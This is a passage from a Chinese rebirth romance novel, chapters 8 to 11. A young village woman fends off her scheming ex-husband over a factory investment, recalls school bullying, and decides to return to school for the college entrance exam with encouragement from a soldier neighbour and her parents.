“别啊,你那是不知道以后……别……哎呀……”楚邵被林语晨的烧火棍戳得一直往后退,想抓她的棍子被敏捷地躲开。他还“哎、哎、哟、哟”地玩上了,一个不慎被路中的石头绊了下,差点跌跤。
这一下子,他的“好脾气、耐心”也差不多耗完,与林语晨隔着一米的距离,“晨晨,别闹了。你和我去见赵晓鹤,喊他借钱给我们。”
“臭流氓,还不走?我抽死你。他凭什么借钱给你,你是他谁啊?”
林语晨暗道不能这么轻易就答应他,不然这贱人蹬鼻子上脸,一定不答应签入股协议书。
“我不是他谁,但是,你是他的白月光。你出马问他借,他一定会借你。”楚邵说着,嘴上就不把门,快口哼了句,“当年若不是他,我也不会怀疑你出轨,哪还有林菲儿的事。”
烧火棍直接从林语晨手里飞出去,兜头盖脸地砸向楚邵。
8. 问心意
“林语晨,你够了。”楚邵压抑着怒火,反抓棍子迫近,却见林语晨僵着脸后撤,脸上是委屈和怒火,刺得他的脑海里闪过上一世夫妻吵架得那些年。
与现在林语晨的清清爽爽、可可爱爱相比,已婚吵架的林语晨歇斯底里宛如不可理喻的泼妇。
较真起来,还是外面的女人吵到家,下了林语晨的脸,激怒了她。
楚邵的良心鞭笞脑子,灰落落地放下棍子:“你说过得抓紧时间办事。不然,村集体那仓库给人家弄去,就没现成的地方办厂。”
林语晨抿直唇,听他扔了棍子,依旧防备地看着他。
楚邵叹了声,背身离开:“今天你不乐意,那我明天晚上再来。”又回头看眼捡烧火棍的女人,顿下说,“温温柔柔得才招人疼。我会向你证明我的心意。”
说完,大步融入黑夜,片刻后消失不见。
林语晨捏着棍子在树下发呆,想起前世与楚邵谈恋爱那会。
两人都是风风火火的性子,臭味相投、一拍即合,没两日就擦了火花。若不是林妈半夜喊女儿,以楚邵耐不住的性子,禁果也差不多在婚前尝了。
隔不了几日,两人上市里办厂办事。几个地方跑下来,男人比女人好办事的现实就体现出来。
林语晨也就下定决心,偷拿户口本和楚邵上镇里扯了结婚证。
“语晨姐?”赵晓琳从黑漆漆的村路上走来,见到树下模糊的身影,试探性地喊了声,“真是你。”
“晓琳?你怎么……”
“我知道有归哥在你家吃晚饭,想出来……看看能不能遇上他。”赵晓琳羞涩地说,目光一直往前面亮着灯的林家瞟,“他还在吗?”
“在。我要去找你哥,你去我家找他吧。”林语晨擦过赵晓琳往她家去。
“等等,”赵晓琳喊,“语晨姐,今天在卫生院的时候谢谢你。你会不会觉得我……太那个啊?”
“嗯?”林语晨被楚邵害得脑子都不清醒,冷静地拔出那股情绪泥潭,想了下说,“这都什么年代了,你爸妈都能自由恋爱,难道还不让你找喜欢的人吗?”
“你怎么知道?神了,语晨姐。本来我想留有归哥在我家吃饭,我妈不让喊,说我脑袋不大,装得都是浆糊。我读书那么好,怎么可能装浆糊,我哥脑子里装得是浆糊还差不多。”
林语晨突然觉得眼前这个才是真十七岁、情窦初开的小女孩,有着她这年纪的纯真和可爱。
“赵婶是希望你先管好学业再谈感情。你小姑也是这么提醒你吧?”
“是啊。我妈觉得有归哥年纪大,等不到我长大。小姑也提醒我在回来的路上问明白有归哥的心意。我……我不敢问,怕他拒绝我。
现在,我妈又这么说……我必须跟有归哥说清楚,不然他真不等我长大……我怎么办啊?”
赵晓琳说出她的担忧,拉住林语晨的手,“语晨姐,不然,你帮我问问有归哥,问他的心意……或者,他喜欢什么样的女孩子?我还小,我可以照着他喜欢的样子长大。
嘶……你弹我额头干嘛?”
林语晨就是忍不住弹她的额头,收回手。
“你的脑子里确实有些糊。记住,不管赵有归喜欢什么样的女人,而你始终是你。你得保持自我,才能被人看到被人爱。若为了爱别人,却丢了你自己,你又拿什么去爱人?”
赵晓琳觉得她说得好像很有道理,却又听不太懂。
“我爱他,丢了自己,我自己就是在爱他啊?”
林语晨莞尔,这就是个对恋爱充满憧憬和幻想的女孩子。
婚姻这个坟墓在没踩进去之前充满诱惑,外面的人对它全是好奇和美好的想象。但是,你真实踏进去,不管日常条件好还是差,时间久了都是一地鸡毛。
“你现在是……恋爱脑上头,我说什么你都听不见去。你想知道答案就自己去问他。我找你哥去拿书。”
不拿书回去不好向林妈交差。
林语晨看向忐忑的赵晓琳,说句实话:“咱们都是被妈管的年纪。她吃过得盐比我们吃过的米多。她们说得有些对的话,该听得听。”
赵晓琳快嘴反驳:“她们那年代还闹饥荒呢,哪来那么多盐和米?好吧,我去找有归哥。”
别跟学霸扯历史,她能教你做人。
林语晨体会到曾经的下属女儿唠嗑的话。她目送赵晓琳往家去,也向她家走去。
赵有归从林家出来,在撞上赵晓琳前就绕走别人家的屋子,避开与赵晓琳直面碰上。
今日沈秋霞也说了这事,赵有归本想跟赵晓琳解释清楚。
沈秋霞又说:“是该同琳琳说清楚,但不是现在。琳琳是个女孩子,得避着人说。但是,现在是她考试前的节骨眼上,你要说了拒绝、难听的话,影响她考试怎么办?
你等她考完,再好好同她说清楚。她上了大学,遇上新同学,就把你和这事给忘了。”
因着这茬,赵有归有心想同赵晓琳说清楚,也得顾忌她的学业和心情。
赵家的院子里,赵雪梅帮着喊了声赵晓鹤,又朝林语晨客气地说:“琳琳是不是跑你家去了?”
“啊……嗯。”林语晨都不好意思答。
赵雪梅解释句:“不是婶不留有归吃饭。他是军人,哪家不想拉他上家里吃饭啊。只是,琳琳这孩子……”
“婶,我懂。有归哥应该也不会介意。”林语晨都有些后悔来赵家。
赵雪梅又说:“有归他什么时候回部队啊?”
“……琳琳没说吗?”
“说了,有归不回队了,去市里当警员。我这不是急嘛。”赵雪梅还要拉扯,见儿子出来就住了口,“你和小鹤聊。婶不打扰你们。”
“语晨,你来得正好,我给你摞出来了。”赵晓鹤抱一大捆书走出门,放在梨花桌子上,“全给你整理好,还有这本是赵晓琳的独家笔记本,我一并给你弄来。”
“你这……我还没想好呢。”林语晨被他整乐,“琳琳也没考完啊,你就拿她笔记?”
“没事。我和她说过了,她也同意。”赵晓鹤自信地说。
林语晨想起赵晓琳白日说得笔洗,应该是很有价值的东西,就笑笑不戳破他。
“语晨,听我得没错,去复读去高考。对了,楚邵那家伙来找过我,问我借钱。我没同意。”赵晓鹤靠在半米高的书上,贴近林语晨的脸前,“若不是你同我说过入股分红的方法,我就信了他的鬼话。”
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“你真会信?”林语晨没避开他的靠近,因为赵晓鹤近视眼,晚上更是看不清,必须得靠近些才能看清别人的表情。
当然,上一世的林语晨会避开他,觉得赵晓鹤太过线。现在的林语晨更懂体谅别人,走过岔路,才明白心怀坦荡、不惧人言、清者自清的道理。
“当然不信啊。我才不会借给他。我说:除非林语晨亲自跟我开口,不然,我才不会求老头拿钱呢。他啊,气得掉头就走,哈哈哈……”
林语晨想起白日楚邵拉自己上小路说得那番话,原来他已经吃过瘪才这么急切。
“做得好。咱们先晾他两天,他实在没办法,就会自己提出来。到时候,我们就喊上你二叔,村委……不,喊上赵有归做见证。”
“为什么喊赵有归啊?”赵晓鹤不解,“你都不知道今晚上闹得……为了他,赵晓琳差点掀桌不吃饭。”
“这么严重?”林语晨见他点头,也只好解释,“赵有归去市里当警员,算是官方人。若他见证这件事,到时候厂子赚了钱,楚邵想踢开你都没办法,对吧?”
赵晓鹤赞说:“有道理。朝里有人好办事,不愧是语晨,脑瓜子就是灵光。到时候,你带楚邵来我家?我喊上二叔和我爸,这赵有归谁喊?”
“我听他说有两天假期,沈婶婶应该就这两天出院……估摸后日可以办这事,楚邵那边也该急得要妥协……若是他不急,咱们催他一下。”
“怎么催?”
林语晨靠近赵晓鹤耳边,低声说了方法。
屋子里,赵雪梅一把拍在赵松华的肩头,指着窗外院里,使劲使眼色。
“别拍了,我看到了。”赵松华老秋横气说,“我的宋代紫檀木玲珑桌是保不住啰。挺好,晨晨聪明,便宜我家臭小子。嘿……”
赵雪梅见他走了,跟过去说:“你同意啊?你真同意啊?”
“为什么不同意?老林家虽是外来户,分产到户,也有地。他女儿长得好,你儿子一个睁眼瞎,配人家,人家还亏了。”
“有你这么说自家儿子吗?可是,林语晨要考大学啊,考上了,那就是城里人,哪里还会回来啊?”
赵松华理所当然说:“琳琳也考大学啊,考上了也是城里人。她会带携她哥,放心吧。再说,咱家也不靠儿女吃饭。我跟你说,别看咱们这些家当现在不值钱,等以后,一定会富。你就等着享福吧。”
赵雪梅看他抱个花瓶自乐,朝屋顶翻个白眼:“做你的春秋大梦去吧。”她去窗口看院里,发现赵晓鹤一个人回来,看来是把林语晨送走了。
推门出去,问了句:“你把人送回家啦?”
“没啊。送到我家院门口呢。”赵晓鹤笑着回。
“你傻啊,儿子?那么大一摞书,你让晨晨娇滴滴一个大姑娘自己抱回去啊?”赵雪梅两眼一黑,只觉得这儿子要是能讨到媳妇,那真是天上掉林妹妹。
赵晓鹤愣了下,委屈地说:“语晨说她可以,抱得动……”
赵雪梅已经不想听,回屋关门。
赵晓鹤在院里挪了两步,走到门口又有点怂。他路痴、近视,就会怕黑,更怕深更半夜摸不回来。
“语晨,应该……可以吧?!”
9. 别错过
林语晨搬着书路过赵有归家,发现家里亮着灯。她在门口张望了下,就见赵有归提着个塑料袋关灯、出门。
“……有归哥?”
赵有归微愣,大步过来,拎过林语晨手里的书:“回家吗?”
“嗯。”关了灯的赵有归没有那么高大,朦胧得像是一杆枪。
“我送你。”赵有归的话不多。
灯刚关掉没多久,两人还没出院就听到“踢踏踢踏”的轻微脚步声。赵有归的听力好,警觉性高,稍许拉了林语晨一把,示意她等一会。
林语晨联想到那个可能没找到人往回走的女孩子。
赵有归拉着林语晨的手臂,往旁边轻轻得一带,站在自家的院门后面。
林语晨看着他,不由蹙眉:这人怎么这么没担当,难道要钓着赵晓琳吗?
她要喊出声,被一只大手给捂住嘴巴。
掌心和唇间留有空隙,湿热的气息扑在干燥、温热的手心,又瞬间被吸回来。夜风中,男人的荷尔蒙气息扑面,让人生理性地僵直手脚,生出股潮湿的燥热。
赵有归在暗中摇头,缓慢地放下手。
垂落的手迅速拳紧,似要留住掌心那份湿热。湿漉漉的掌心、朦朦胧胧的夜,在微弱的脚步声中施展奇妙的魔法,像是无形的魔力连接两个禁忌般的世界。
林语晨得了自由,一时没有出声,试图说服自己:这是人家的事。赵晓琳若是看到两人现在的场面,可能会生出误会。
赵有归也觉得离她太近不合适就往前走了小步,手里的袋子发出摩挲声,引起路过的赵晓琳的注意。
她在漆黑的院门口停下,张望两下后抿着唇,轻声喊:“有归哥,是你吗?”
林语晨的心提起来,呼吸都停了,一动不敢动。两个禁忌般的世界即将碰撞、被撕开,然后爆炸……后背浮出一层冷汗,手心也有些微凉。
赵有归拎着袋子走出去。
“是我!”
林语晨下意识跟出去,离开的体温让她在朦胧的夜色里生生地定住脚,目光落在地上的书。
赵晓琳看着高大的黑影,却一点都不害怕。
赵有归身上有一股子正气,曾经带给她勇气和安全,现在给她得是憧憬和向往。她多想扑上去抱他,却怕唐突他,怕他把自己推远。
目光落在他手上的袋子,自然而然问:“你是要回镇上照顾沈阿姨吗?”
“嗯。晓琳,你马上要考试,这是开放以来得第三次高考,关系到你的前途,不要把心思放在别的地方。我妈那我会照顾好。”
其实,这些话在回来的路上已经同赵晓琳说过,再说一回是为提醒她,更是说给暗处的人听。
“我知道。”赵晓琳鼓起的勇气再次退去,微丧的情绪在她高度的自我认可下重新饱满,“放心吧,有归哥。我一定会考上大学,考进城里去。然后,我和你在一个城市工作。那时,你可得关照我啊。”
暗处的林语晨听着女孩子宛若誓言般的话,心里生出些可惜。赵晓琳还是没听懂赵有归富含深意的话。不过,赵有归的目的达到了,在不影响赵晓琳学业的前提下成功阻止她的表白。
“好。我先送你回家吧。”
“不用,才几步路。有归哥,你先去镇上吧。你放心,我一定会学好,当一名好医生,争取和你一样厉害。”赵晓琳说完,快速往家跑去。
林语晨从院门后出来,看向那跑向橘红灯光的女孩似奔向她憧憬的光明未来,心底泛出难以说清的羡慕。
赵有归已经拎起书,朝她的背影说:“走吧,我送你回去。”
“哦。”林语晨应了声,一声不吭地随他走在回家的路上。
临到家门口,她想起和赵晓鹤的计划,琢磨着开口,“婶婶……什么时候出院?”
“赵医生说她的情况已经好转,主要是日常调理,两天后吧。”赵有归放缓步子,看向林语晨,眼里飘飞着笑意,“谢谢你。”
“嗯?”林语晨顿了下,“你已经说过了。”
“没有。”赵有归肯定地说,“谢你提醒林叔给我打电话,也谢谢你今天去给我妈送饭,还……”
“乡里乡亲,互相照顾是应该的。”林语晨打断他,想要走快点,却发现这个男人走得很慢。这不像赵有归的速度,何况他手里拿着东西,一包衣服、一摞书,不累吗?或者因为太重,所以走得慢?
“听说你和楚邵要办厂?”赵有归已经完全停下脚步。
林语晨回身看他,邻居家透出的微光清晰了他的面容,注视她人的眼神有股让人安心的力量。
但是,他面对得是林语晨。
“你听谁说?”怀疑的语气带着一丝防备。
“晓琳。”赵有归缓缓说,生出一丝紧张,“如果有需要帮助,可以找我。”
林语晨瞬间想到赵晓鹤,他同赵晓琳通了气,赵晓琳又传给赵有归。
村里真是没有秘密。
“我确实需要你的帮助,等后天你回来再说。”
“好。到时候,我也要你帮个忙。”
“什么事?”林语晨生出好奇。
“应该和你想要我帮忙的事差不多,到时候你就知道。”
林语晨的好奇心被钓起来,诧异地看向继续走的赵有归,追上去问:“究竟是什么事,你知道我要找你帮什么忙?”
赵有归应了声,进入林家的院中:“书放哪?”
“堂屋。”林语晨发现这人真能保密,还沉得住气。
赵有归走进堂屋,又转回身:“你不想高考?”
“嗯?”林语晨眨眼,这人是自己肚子里的蛔虫吗?
“我没想好,先放堂屋吧。”
林爸从里屋探出头:“有归,帮忙拿她屋里去,放堂屋就等着落灰。”
林语晨:爸,你很懂嘛。
赵有归憋着笑,示意林语晨带路。
林语晨的房间从院子里进,带赵有归出堂屋,来到房门前。
她打开房门,开了灯。
橘色的灯光照亮房间,北面的窗口一张敦实的朱红漆抽屉桌。在这个年代,这张桌子在农村值不少钱。
靠墙放张一米二左右的床,上面铺大红牡丹花色的被褥套件。
林语晨的神经瞬间抽紧,以她现在的审美很难直视这张大花床褥。
她暗囧了下,镇定地说:“书放那椅子上就好。”以后就是当代流行的复古花色,这褥子没问题!
赵有归的目光顺话意落在墙边的椅子上,过去放下书。
他见林语晨挡在床前,被灯光映得水灵灵,微红的脸颊比牡丹还清妍。明知道眼神唐突,还是差点拗不过弯,像是要粘在她脸上。
他暗吸口气,背过身出门,又突然回头。
林语晨被他吓一跳,急问:“怎么了?”
明天就挂上帐子,没蚊子也挂,丢死人。
“趁现在,能读书还是尽量读书得好。错过了,会后悔。”赵有归说完出门。
林语晨愣怔了下,跟出门送他:“你……我要是考不上,不丢人吗?”
“听林叔说你以前的成绩还行,为什么不复读?”
林语晨哑口,面上露出追忆的神色。
犹记得在学校因为长得好看被人堵在厕所扔厕纸,被推入男生厕所,有男生拿私密怼人,甚至有人拿水管冲湿她
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的衣衫,遭受同学们的讥笑、嘲讽,以及用有色眼神看自己湿/身的画面……
几次下来,林语晨一气之下烧了书,发誓再也不去上学。
遇不上就不会被欺负。这是她的鸵鸟做法。
上一世,那些欺负她的人被远远地甩在后面,财富根本没法跟她相比。
“我连高中都没毕业,重新复读,不是个笑话吗?”
赵有归沉默了瞬,有力地说:“你现在还这样想吗?”
这句话很奇妙,明明没有很深的意思,却像子弹一样穿透林语晨重重地老辣心境,撞击在她的心底最深处,像赵晓鹤第一次提出高考时给她的感觉,新生的希望!
又不是上一次虚岁二十的林语晨,现在的林语晨包裹在二十岁的身体,灵魂却已经老得可以做那些高考孩子的妈。
所以,现在得你还这样想吗?怕丢人,怕被人笑话、怕被人欺负……不,有什么欺负比得过同楚邵的婚姻带给自己的身心伤害?
被笑话又怎样?穷途末路的人生还不够人笑吗?
一无所有躺在病床上等着别人照顾,还不够可怜吗?
“我只是怕考不上浪费时间。”对,这才是真正的想法。时间,对于生意人来说很重要。
赵有归拉起唇角,坚定地说:“未来你有很多时间去做想做的事,但是,读书只有这段时间。为什么不全力发挥这段人生时间本该起的作用呢?”
林语晨又被说哑口,恼了,反问:“你不是连高中都没读就去……吗?”
“在队里,我已经修完大学课程。”赵有归侧脸回答,挺自豪的样子。
你牛!林语晨送他到门口:“慢走,不送。”准备关院子门。
“等等,”林兰香拿件军大衣追出门,递给停下的赵有归,“有归,你叔说晚春的夜里还冷,带上它去。”
“林姨……”赵有归有心拒绝,手还是诚实地接过来,这大衣可沉了。
“带上。你叔用不着了。”林兰香笑着一拍空手,“等等,家里有手电,你拿了照路。这一路全是黑漆漆的田沟路,别摸黑掉进沟。”
林语晨看着妈妈跑回去拿手电,睨向套上军大衣的赵有归:“你家没有吗?”
“有。盛情难却。”赵有归笑了下,大绿袍上身,竟然不显得臃肿,盘正条顺,还挺能看。
林兰香拿手电走来,照在赵有归的身上,脸上绽出朵花:“真好看,还得是有归这样个高的人穿着才好看。”
林语晨:……妈,你过了。
赵有归听后放下挡光的手,含蓄地低头笑了,似真有些不好意思。
“拿着手电,快点去吧。别让你妈担心。”林兰香看着赵有归打着手电、提着袋子出门,拍在林语晨的肩头,“要读书就好好读书。有归说得对,你能读书也就这段时间,过了这个村,再回头可没这店。天下好男人多得是,不只那……桃花眼。”
林语晨不跟她叫板,一把箍住林兰香的手臂:“妈,若我真去读书,家里可全靠你啦。”
“你爸还在呢,靠你这家早完了。妈我做梦都盼着你回去读书。当初,你逃回来我就不赞成。可你哭成那样子,要死要活的,撅起来连书都烧,我拦也拦不住。算了算了,明天我喊你爸去趟村委,让村委出面,送你回去读书。当初,那也不是你的错。凭什么呀?!”就因为咱们不是镇上人,不是厂职工,不是有钱人吗?
林兰香背过身,不让女儿看到眼泪,囫囵句,“你关门!”直接转回屋睡觉。
林语晨深吸口沁凉的空气,院外的村道上,远去的灯光已经很微弱,拿着手电的那人还在快速前行。她忍不住笑了下,关上院门回屋。
10. 下决心
“爸?”林语晨放下手里的书,生出一丝紧张。
“你妈说你吃过早饭就待在房里,让我来问问你。”林大宝坐上女儿让出的椅子,看着她藏在小竹筐下的书角,咳了声,“爸问你,你真想参加高考吗?”
林语晨坐在床沿,一时不知道怎么回答。
林爸看出女儿的胆怯和迟疑,中气十足说:“晨晨,若是你不想去,爸妈支持你在家。”
“在家……嫁人?”林语晨囫囵了句。
林爸噎了下,轻咳说:“爸知道你不甘心。广播里也说了,市、县各地都在办厂,你也想掺一脚是吧?”
“啊……”林语晨虚应了声。
前世想要办造纸厂的念头就源于林爸的几句话。林爸虽已退伍,但是对政策的触感很灵。只是,农村人能动用的资源有限,林爸又是这个赵姓大村的外姓,属于外来户。他就只能想想,不能轻易动手。
“咱家能落户,亏了赵有归的爸。若是我们再动别的心思,‘那些人’能让你得了好?你想办厂的心是好,但是你看看外头,别的村、镇都办着厂、有销路,村集体的厂子,你私人开得话干得过他们?”
林语晨对此很有见解,也是她经历过一遭有经验。
“爸,那你错了,这几年,不用三年,集体厂子都会变成私营户。那些在外头跑业务,心气高的,出个几百块就能拿下个厂子。
我们现在已经走在尾椎路,再迟点,喝汤都赶不上热乎。”
林爸愣了下,突然笑出声。
林语晨眨眼,疑惑问:“爸,你别不信啊。”
“我信。那又怎么样?世上不缺聪明人。现在发了一波,以后就没人再发财了?”
林语晨哑口,这爸的思想吧,说旧逃不开时代性,说新确实看得远。这轻重工业、实干家一代过后不就是虚拟网的时代嘛。
林爸拿出桌上的书,抚摸泛黄的书页:“有归说的话,你妈告诉我了。爸觉得他说得对,年轻时候想念书就不要放过。你那些同学考得上进城,考不上也在各地活着。现在的孩子不一定是你那时候的孩子。”
“爸,说得我多老了一样,不才过一年半嘛。”林语晨是认真回想了前世这时候的经历。
“那你怎么说?回爸一个准信,定了的话,下晌我去村里给你要个证明,送你去上学。”林爸直接说出谈话的目的。
林语晨抓紧两侧的绣花床褥,抿着唇,一声不吭。
林爸起身往外走,到房门口又回头:“没想到我林大宝的女儿是个懦夫,当了学习的逃兵。唉。”
“爸,这话你以前说过了。我逃了一次,不会再逃第二次。我去上学、高考。”林语晨站在床前,大声喊。
林爸背对房间,向院子里观察形势的林兰香咧了嘴,头也不回:“行,有你这话,你爸的脸不要了都帮你把事情办妥。”
下定决心后的林语晨卸了那股子劲,拍着额头倒在床上。
“天啊,我究竟在干什么……读书,高考?疯了吧。那些书认识我,我不认识它们了呀。”
晚间,饭桌上的林爸拿出村委盖章的证明,又说:“我打听了下,好像是赵老二接了有归的电话,应该是他帮着一起打招呼。另外,赵老二说,他可以陪你一起去县高中,找校长说明白。
兰香,回头给她住校的东西准备好。”
林语晨放下碗:“爸,我不住校。我回家。”
“不行。太远了,又不是上镇里,走得快一个小时就能来回。你到县高中,得走两个小时呢。”林兰香不赞同。
林爸也认为远,而且女儿来回走更不安全。“你妈说得对。你现在比他们大一岁,再欺负你,直接打回去。”
林语晨不说话,默默扒着饭。
林兰香很不是滋味,动着脑子想办法:“不然,在县里租个房子,我去照顾她。”
林语晨的眼前一亮,又暗淡下去:“算了。租房子要花钱,读书也要花钱,都不便宜。住校就住校吧,以前我就想揍他们,但是怕招来他们的父母,又给你们惹事。现在,我可不怕他们。”
初中青春期发育那会,林语晨的胸前开始隆起小小的包,被人在背后指着笑话。因为这事,林语晨揍了几个人,之后林妈上学校道歉。
那会,林语晨就知道不能轻易打架,不然受委屈得是母亲。
上高中,遇到事,她就有些挺不直,一退再退,后来退无可退,恼火地离校回家。
接受楚邵,除他在外头办事有用,其实还有一个理由。
他像一剂奇妙的救赎药,证明林语晨的美,让一直外表冷淡、清高、骄傲,实则内心有些软和自卑的林语晨重获自信。
最终她轻易被楚邵俘获,踩入婚姻的大坑。
租房子的事情还没定下来。布谷鸟的叫声又响起来。
林兰香蹙眉,朝林语晨说:“给妈洗碗去。”
“妈,我……”
“洗碗去。”林兰香一脸不容拒绝地下令。既然下决心要读书,就不要轻易找对象。
“好。”林语晨端起盘子进厨房,就见林兰香走出院门。
她心里担着事,一边洗碗一边听着院门外的动静。
今日,村仓库要被征用的消息应该已经放出去,楚邵那边急着办厂找地方,听说后一定会着急。毕竟,建房子办厂可是笔大费用。
片刻后,林兰香从院子外面回来,踢了一脚收拾农具的林大宝。
林爸诧异地看老婆:“我惹你了?”
“你家院子外的鸟惹我了。”林妈瞪回去。
林爸一脸懵,啥跟啥啊?
这一晚,林语晨被林兰香盯着入睡。林兰香锁好院门才回房。
翌日清晨,一辆军绿色的吉普车开进村,喇叭声引来不少人围观。
三个腰杆笔挺的青年男人帮着赵有归把沈秋霞住院时用的东西送进屋,从车上拎下一只火腿、一条大肉,以及水果罐头、干枣、干桂圆之类的营养品。
村里人都围在沈秋霞家的院子外瞧热闹,动静把村长和支书都引过去。
林语晨虽然也想瞧热闹,但是下了决心复读,就开始整理书本和复习之前学过的东西。
林爸和林妈对此十分满意,至少证明女儿不是空口白牙说说而已。
赵有归上林家,喊了声:“林叔、林姨,在家吗?”
“有归啊,你妈回来了?”林叔从堂屋出来,见有归身后跟着个年轻的小伙子,一看身姿气色,就知道是当兵的人
“这位是?”
赵有归介绍:“他叫荀攸,我队里的人,这次来看望我妈。”
林爸眼睛发亮,一语点破:“他是来喊你回队吧。”
荀攸哈哈笑,爽朗说:“林叔是吧,你好,听说你也是军人。”他立正敬个礼,林大宝眼眶一热,也立正回个礼。
两人敬完礼就握手。
荀攸赞说:“林叔火眼金睛。我和另外两个战友就是接了队里的命令,劝连长回部队。”
“连长?有归,你小子瞒得好啊。”林爸的惊喜兴奋劲刚起头,又想起赵有归退伍的决心,就想捶胸顿足、扼腕叹息。
赵有归摇了摇头,找到一旁含笑的林兰香:“林姨,有件事得麻烦你。”
林兰香点头,已经有些猜到他
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要说什么,不等赵有归说出来就给林大宝使眼色。
林爸反应过来:“一会家里吃饭,一定要吃了饭再走。我可想给你们这些年轻人说说我们那时候当兵的样子,再听你们说说现在部队里的情况。有归话少,不能说能说都不透露。”
赵有归暖暖地笑开,林叔和林姨是最通透的人。
他本来想在家和战友们应付一顿,但是沈秋霞不同意,村长也不同意,硬是要找人帮着烧顿饭招待客人。
赵有归想着一事不烦二主,就找来林大宝家。
“麻烦林叔和林姨了,多谢。”他不扭捏,感激地应下。
林爸握上他的手臂,捏到一手硬实的腱子肉,拍了几下:“客气啥。对了,晨晨,出来下。”
林语晨听着院子里的对话就知道有自己的事,放下书出门,笑着打招呼:“有归哥。那个……你好。爸妈。”
荀攸的眼前一亮,结巴了句:“你……你好。”
“你去水根家打条肉回来。”林爸直接下令。
赵有归赶忙说:“不用。家里有肉,我让荀攸去拿,麻烦林姨了。”
林兰香摆手,忙说:“不麻烦。多大的事,就你最会客气。”
几人都忍不住笑起来。
荀攸得了赵有归的指令,赶忙回沈秋霞家拿菜。
林语晨没闲着,拎起菜篮子:“妈,那我去地里摘点菜回来?”
林兰香提醒她:“去吧。青菜、豌豆,不拘什么菜,可以吃得都摘些回来。”
赵有归见林语晨拎着篮子出门,面上有些惭愧:“林姨,真给你添麻烦了。”
“你还客气呢!你就看你林叔的乐呵样,那也值了。你妈没事吧?”林兰香见他点头,感慨地说,“回来就好,好好养着,照顾好她。”
三个年龄不等的军人拎着大肉进院子,身杆如枪,一下子就把院子显小了。
林兰香赶忙把人领进厨房,放下肉。
林大宝兴奋地说:“这有肉啊还得有鱼。后院子里有个水塘,我养了不少鱼苗,拿上东西去抓几条。”
荀攸听着赶紧应声:“好啊,林叔,我喜欢抓鱼。”
另外两人也纷纷应话:“我们也去。”
“好,都去。”林爸乐呵地不行,指挥着几人拿捞鱼的工具去往后院,“有归,你也去吧。”
“你们去吧。”赵有归有心留下帮林兰香切肉、做点事,却见荀攸三人不动,林叔眼巴巴地望来。
他不免笑了声,宠了这三人:“那去吧。”
荀攸几人高兴了,拉着赵有归一起去后院。
“林叔,我叫靳燕好。”靳燕好直接介绍自己,又说,“他叫宁全宁。两个宁,寓意好,有一次同敌人对仗,亏得他,我们全都全须全尾回来。”
宁全宁哈哈笑,朗声说:“你怎么尽拿我的名字取笑,明明是连长指挥得好啊。对吧?荀攸。”
荀攸点头:“那一年我刚入伍,还是濮排长队里的新兵蛋子,差点就交代了。多亏赵连长救了我。这次,我们濮排长说了,捆都得把赵连长捆回去。”
赵有归笑而不语,随他们走到林家后院的鱼塘。
鱼塘说大不大,菜地改挖成的鱼塘,水面上咕咕地冒着小泡,还有鱼苗听声串入水底。
几人大男人拿着网兜,开始动手捞鱼。
另一边,林语晨在自留地里摘着菜,听到讨人厌的喊声。
“晨晨……”楚邵把黑色的闪亮的凤凰牌自行车停在菜地边,喊说,“晨晨,你看我买了啥?”
不过几天,楚邵就买得起自行车,看来他给林裕宝开车,赚得不少。
11. 厚脸皮
林语晨没理楚邵,自顾低头摘菜,心里想着事。
昨晚林妈把“布谷鸟”赶走,楚邵就改换策略,白天来劝说。
“晨晨……”
林语晨的指甲掐进手里的菜帮子,沾了一手的新鲜汁液,凉凉的,让人冷静。
“你别这样喊我,喊得我们多熟悉一样。”
楚邵嘿笑了声,主动弯腰帮着拔菜:“咱们就是很熟悉,只是你不知道。等……”
“打住。”林语晨直起身看他。渣男学乖了,不等别人递活就会主动做事。
“你头一次来找我,说了我还没对赵晓鹤说过的话——办厂那事。前日,你打着我的名义又去找赵晓鹤借钱。我说,臭流氓,你到底藏了什么秘密?”
楚邵一惊,背上、脖子、额头爬层冷汗。
是啊,语晨在提醒自己不要透露重生的秘密。不然,被抓去研究可就惨啦!
他抹着额头的汗,沾着的菜泥也被抹上去,顿时成张花脸。
林语晨没笑,因为这还远远不够解气。
她拿着好整以暇的眼神审视楚邵,像要窥出个洞。
楚邵慌张地笑着,脑海里回顾几次找林语晨时说的话。
应该是暴露无遗,但是,林语晨的话意是她听不懂、不理解,说明她不是重生,探不明白这里面的道道。
楚邵松了心,咧大嘴:“我能有什么秘密,不就是听你……爸在外头唠嗑过一句办厂吗?我想着你家是外来户,他做不了这事,怕遭人眼红、惦记,碍着你家的事……这不是还有你吗?
你年轻、岁数又小,做了这事,人家也只当你小孩子过家家,扔点钱打水漂。
但是,咱们晨……语晨是谁啊,女诸葛啊,聪明绝顶,有志气有心气,只要她想办的事就没有办不成,一定能拉起厂子,让别人刮目相看,惊掉下巴。”
林语晨眨眼,若是前世,听完这番话,该受用地笑掉下巴。
这次,她给脸地拉起唇角,睨他:“听你胡扯,钱金贵着呢。”
她转去摘豌豆,背对他露着嗤嘲:这事竟让他圆回来!上一世林语晨向他解释过办厂的勇气源于林爸的想法。楚邵现在就是拿这个做理由。
楚邵见这番话没有得到心里的预期回报,追着她加大筹码:“语晨,你相信我。你同我合作,我发誓,绝对不会让你吃亏,否则,天打雷劈不得好死。”
林语晨把豌豆扔进篮子,语气平静地应话:“你不是找赵晓鹤借钱吗?这年头,别的村办厂都是拿股份、分红利。凭什么赵晓鹤就只能拿死利息?你这还叫他不吃亏?借你钱的人都会吃亏,我这种空手入股算什么?不得亏得连人都没有了。”
楚邵心说:谋得就是你这个人,这张脸、这份手段。
他跨过青菜地,站在林语晨旁边,帮着摘豌豆。
“这怎么能一样呢。我知道他是你的青梅竹马,你的心向着他。但是,他是一个外人,借钱给利息,已经是顶了天的公平。我又不做老赖,将来还他钱,在利息的基础上多给点不就好了嘛。”
林语晨摘得差不多,拿起篮子就走。
胳膊肘向外的楚邵肯多挖点钱出来,理由只有一个:无利不起早。
她挎着篮子转回身,楚邵赶紧站住脚,递上摘成半截的豆子。
林语晨没好气地接过烂豆子。
“连个豆子都摘不好,还说办厂,笑死个人。”
“我干不好有你啊。你在我旁边帮衬着,出谋划策,咱们一定能干起来。不是说嘛,夫妻同心、其利断金。”楚邵说着嘴上又不把门,赶紧拍下嘴。
林语晨权当没听见,走快几步拉开距离才回头:“行了。我家有客人,不听你扯嫌。赵晓鹤是我的好友,借钱出力就该得他得那份利。你不答应就别想要他家的钱。”
楚邵张几下嘴,回想上一次也是厂子拉起来后赚了钱才把赵晓鹤踢出局,大不了这把戏再来一次。先顺着林语晨再说后面的事。
